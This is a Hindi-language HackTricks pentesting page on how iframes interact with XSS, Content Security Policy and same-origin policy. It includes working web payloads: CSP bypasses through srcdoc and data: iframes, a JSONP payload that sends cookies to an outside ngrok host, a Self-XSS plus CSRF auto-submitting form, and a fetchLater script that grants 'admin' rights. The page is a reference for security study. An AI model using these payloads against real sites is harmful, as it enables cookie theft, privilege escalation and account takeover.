Iframes in XSS, CSP and SOP

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Iframes in XSS

एक iframed पृष्ठ की सामग्री को इंगित करने के 3 तरीके हैं:

  • src के माध्यम से एक URL इंगित करना (URL क्रॉस ओरिजिन या समान ओरिजिन हो सकता है)
  • src के माध्यम से data: प्रोटोकॉल का उपयोग करके सामग्री इंगित करना
  • srcdoc के माध्यम से सामग्री इंगित करना

Parent & Child vars तक पहुँच

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

यदि आप पिछले html को http सर्वर (जैसे python3 -m http.server) के माध्यम से एक्सेस करते हैं, तो आप देखेंगे कि सभी स्क्रिप्ट्स निष्पादित होंगी (क्योंकि इसे रोकने के लिए कोई CSP नहीं है)।, माता-पिता किसी भी iframe के अंदर secret var तक पहुँच नहीं पाएंगे और केवल iframes if2 और if3 (जिन्हें समान-साइट माना जाता है) ही मूल विंडो में secret तक पहुँच सकते हैं।
ध्यान दें कि if4 को null उत्पत्ति माना जाता है।

CSP के साथ Iframes

tip

कृपया ध्यान दें कि निम्नलिखित बायपास में iframed पृष्ठ के लिए प्रतिक्रिया में कोई CSP हेडर नहीं है जो JS निष्पादन को रोकता है।

script-src का self मान data: प्रोटोकॉल या srcdoc विशेषता का उपयोग करके JS कोड के निष्पादन की अनुमति नहीं देगा।
हालांकि, CSP का none मान भी उन iframes के निष्पादन की अनुमति देगा जो src विशेषता में एक URL (पूर्ण या केवल पथ) डालते हैं।
इसलिए, यह संभव है कि एक पृष्ठ के CSP को बायपास किया जा सके:

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

ध्यान दें कि पिछला CSP केवल इनलाइन स्क्रिप्ट के निष्पादन की अनुमति देता है।
हालांकि, केवल if1 और if2 स्क्रिप्ट्स निष्पादित होने जा रही हैं लेकिन केवल if1 ही पैरेंट सीक्रेट तक पहुंच सकेगा।

इसलिए, यह संभव है कि यदि आप सर्वर पर एक JS फ़ाइल अपलोड कर सकते हैं और इसे iframe के माध्यम से लोड कर सकते हैं, तो CSP को बायपास किया जा सकता है, भले ही script-src 'none' हो। यह संभावित रूप से एक ही साइट JSONP एंडपॉइंट का दुरुपयोग करके भी किया जा सकता है।

आप इस परिदृश्य के साथ इसका परीक्षण कर सकते हैं जहां एक कुकी चुराई जाती है, भले ही script-src 'none' हो। बस एप्लिकेशन चलाएं और इसे अपने ब्राउज़र के साथ एक्सेस करें:

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

अन्य पेलोड जो जंगल में पाए गए

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

एक iframe के भीतर का सामग्री sandbox विशेषता के उपयोग के माध्यम से अतिरिक्त प्रतिबंधों के अधीन हो सकता है। डिफ़ॉल्ट रूप से, यह विशेषता लागू नहीं होती है, जिसका अर्थ है कि कोई प्रतिबंध नहीं है।

जब उपयोग किया जाता है, तो sandbox विशेषता कई सीमाएँ लगाती है:

  • सामग्री को इस तरह से माना जाता है जैसे कि यह एक अद्वितीय स्रोत से उत्पन्न होती है।
  • फॉर्म जमा करने का कोई प्रयास अवरुद्ध होता है।
  • स्क्रिप्ट का निष्पादन निषिद्ध है।
  • कुछ APIs तक पहुँच अक्षम है।
  • यह लिंक को अन्य ब्राउज़िंग संदर्भों के साथ बातचीत करने से रोकता है।
  • <embed>, <object>, <applet>, या समान टैग के माध्यम से प्लगइन्स का उपयोग निषिद्ध है।
  • सामग्री के शीर्ष-स्तरीय ब्राउज़िंग संदर्भ में सामग्री द्वारा नेविगेशन को रोका जाता है।
  • स्वचालित रूप से सक्रिय होने वाली सुविधाएँ, जैसे वीडियो प्लेबैक या फॉर्म नियंत्रणों का ऑटो-फोकस, अवरुद्ध होती हैं।

विशेषता का मान खाली छोड़ा जा सकता है (sandbox="") ताकि उपरोक्त सभी प्रतिबंध लागू हों। वैकल्पिक रूप से, इसे विशिष्ट मानों की एक स्पेस-सेपरेटेड सूची पर सेट किया जा सकता है जो iframe को कुछ प्रतिबंधों से छूट देती है।

html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Credentialless iframes

जैसा कि इस लेख में बताया गया है, एक iframe में credentialless फ्लैग का उपयोग एक iframe के अंदर एक पृष्ठ को बिना क्रेडेंशियल भेजे लोड करने के लिए किया जाता है, जबकि iframe में लोड किए गए पृष्ठ की समान मूल नीति (SOP) को बनाए रखा जाता है।

यह iframe को समान SOP में लोड किए गए दूसरे iframe से संवेदनशील जानकारी तक पहुँचने की अनुमति देता है:

javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
  • Exploit example: Self-XSS + CSRF

इस हमले में, हमलावर एक दुर्भावनापूर्ण वेबपृष्ठ तैयार करता है जिसमें 2 iframes होते हैं:

  • एक iframe जो पीड़ित के पृष्ठ को credentialless ध्वज के साथ लोड करता है जिसमें एक CSRF होता है जो XSS को ट्रिगर करता है (कल्पना करें कि उपयोगकर्ता के उपयोगकर्ता नाम में Self-XSS है):
html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • दूसरा iframe जो वास्तव में उपयोगकर्ता को लॉग इन करता है (बिना credentialless ध्वज के)।

फिर, XSS से दूसरे iframe तक पहुंचना संभव है क्योंकि उनके पास समान SOP है और उदाहरण के लिए कुकी चुराने के लिए निष्पादित करना:

javascript
alert(window.top[1].document.cookie);

fetchLater Attack

जैसा कि इस लेख में संकेत दिया गया है, API fetchLater एक अनुरोध को बाद में (एक निश्चित समय के बाद) निष्पादित करने के लिए कॉन्फ़िगर करने की अनुमति देता है। इसलिए, इसका दुरुपयोग किया जा सकता है, उदाहरण के लिए, एक हमलावर के सत्र में एक पीड़ित को लॉगिन करने के लिए (Self-XSS के साथ), एक fetchLater अनुरोध सेट करने के लिए (उदाहरण के लिए, वर्तमान उपयोगकर्ता का पासवर्ड बदलने के लिए) और हमलावर के सत्र से लॉगआउट करने के लिए। फिर, पीड़ित अपने सत्र में लॉगिन करता है और fetchLater अनुरोध निष्पादित होगा, पीड़ित का पासवर्ड हमलावर द्वारा सेट किए गए पासवर्ड में बदल जाएगा।

इस तरह, भले ही पीड़ित का URL iframe में लोड नहीं किया जा सकता (CSP या अन्य प्रतिबंधों के कारण), हमलावर अभी भी पीड़ित के सत्र में एक अनुरोध निष्पादित कर सकता है।

javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

SOP में Iframes

निम्नलिखित पृष्ठों की जांच करें:

{{#ref}} ../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md {{#endref}}

{{#ref}} ../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md {{#endref}}

{{#ref}} ../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md {{#endref}}

{{#ref}} ../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md {{#endref}}

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें